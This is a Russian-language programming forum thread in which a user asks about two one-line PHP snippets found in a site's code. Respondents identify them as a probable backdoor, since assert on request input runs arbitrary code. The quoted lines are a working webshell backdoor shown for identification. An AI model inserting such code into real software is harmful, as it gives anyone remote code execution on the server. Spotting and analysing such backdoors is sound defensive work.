1931 / 1522 / 703
Регистрация: 17.11.2012
Сообщений: 6,585
1

Непонятный код с extract, assert

13.11.2018, 11:40. Показов 3300. Ответов 6
Метки нет (Все метки)

всем привет
кто знает что это за фигня
PHP
1
extract($_REQUEST) && @assert(stripslashes($internal)) && exit;
или так
PHP
1
extract($_REQUEST) && @assert(stripslashes($lock)) && exit;
0
Лучшие ответы (1)
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
13.11.2018, 11:40
Ответы с готовыми решениями:

непонятный код
Не могу понять смысл фрагмента программы. Пробовал сам разобраться, но ничего толкового пока не...

Непонятный код
Вот есть такой кусок require_once"templete/header.tpl"; if(isset($p)):...

Непонятный код
Добрый день! Столкнулся с такой проблемой: Есть лэндинг, формы заявки ведут на mailer.php Нужно...

Непонятный код
На сайте появился файл с расширением .ico и со следующим содержимым внутри. Подскажите при помощи...

6
1084 / 746 / 364
Регистрация: 09.07.2018
Сообщений: 1,760
13.11.2018, 11:47 2
extract — Импортирует переменные из массива в текущую таблицу символов
assert — Проверяет, является ли утверждение FALSE
stripslashes и exit вам, наверное, известны?

Ссылки на почитать:
http://php.net/manual/ru/function.extract.php
http://php.net/manual/ru/function.assert.php
1
1931 / 1522 / 703
Регистрация: 17.11.2012
Сообщений: 6,585
13.11.2018, 11:51  [ТС] 3
Цитата Сообщение от VNIIAEN Посмотреть сообщение
extract — Импортирует переменные из массива в текущую таблицу символов
assert — Проверяет, является ли утверждение FALSE
stripslashes и exit вам, наверное, известны?
как работает я понимаю
не понятно, для чего может использоваться
обнаружил эти коды, перед объявлением класса
0
Эксперт PHP
4842 / 3854 / 1599
Регистрация: 24.04.2014
Сообщений: 11,308
13.11.2018, 11:51 4
Лучший ответ Сообщение было отмечено fanatikus как решение

Решение

Скорее всего это бекдор, assert позволяет выполнить произвольный код
1
1931 / 1522 / 703
Регистрация: 17.11.2012
Сообщений: 6,585
13.11.2018, 12:16  [ТС] 5
Цитата Сообщение от Jewbacabra Посмотреть сообщение
Скорее всего это бекдор, assert позволяет выполнить произвольный код
вот и я примерно так думал.
во всяком случае, ничего хорошего от этого кода не будет. правильно?
0
Эксперт PHP
4842 / 3854 / 1599
Регистрация: 24.04.2014
Сообщений: 11,308
13.11.2018, 12:30 6
fanatikus, хорошего ничего не будет, но еще неплохо понять как этот код там оказался
0
1931 / 1522 / 703
Регистрация: 17.11.2012
Сообщений: 6,585
13.11.2018, 18:38  [ТС] 7
Цитата Сообщение от Jewbacabra Посмотреть сообщение
но еще неплохо понять как этот код там оказался
это ясно.
0
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
13.11.2018, 18:38
Помогаю со студенческими работами здесь

Непонятный код
Нашел вот в книжке следующий код: type RRGBColor = record Red:byte; Green:byte; ...

Непонятный код
Ковыряясь в коде одного движка, нашел интересную запись: var floatIndices = ; for (var i = 0; i <...

Непонятный код
#define HEX__(n) 0x##n##LU #define B8__(x) ((x&0x0000000FLU)?1:0)\ ...

НЕпонятный код
Всем привет опять.Ребят вот мой вопрос.Как можно си код преобразовать таким образом,чтобы там...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
7
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2023, CyberForum.ru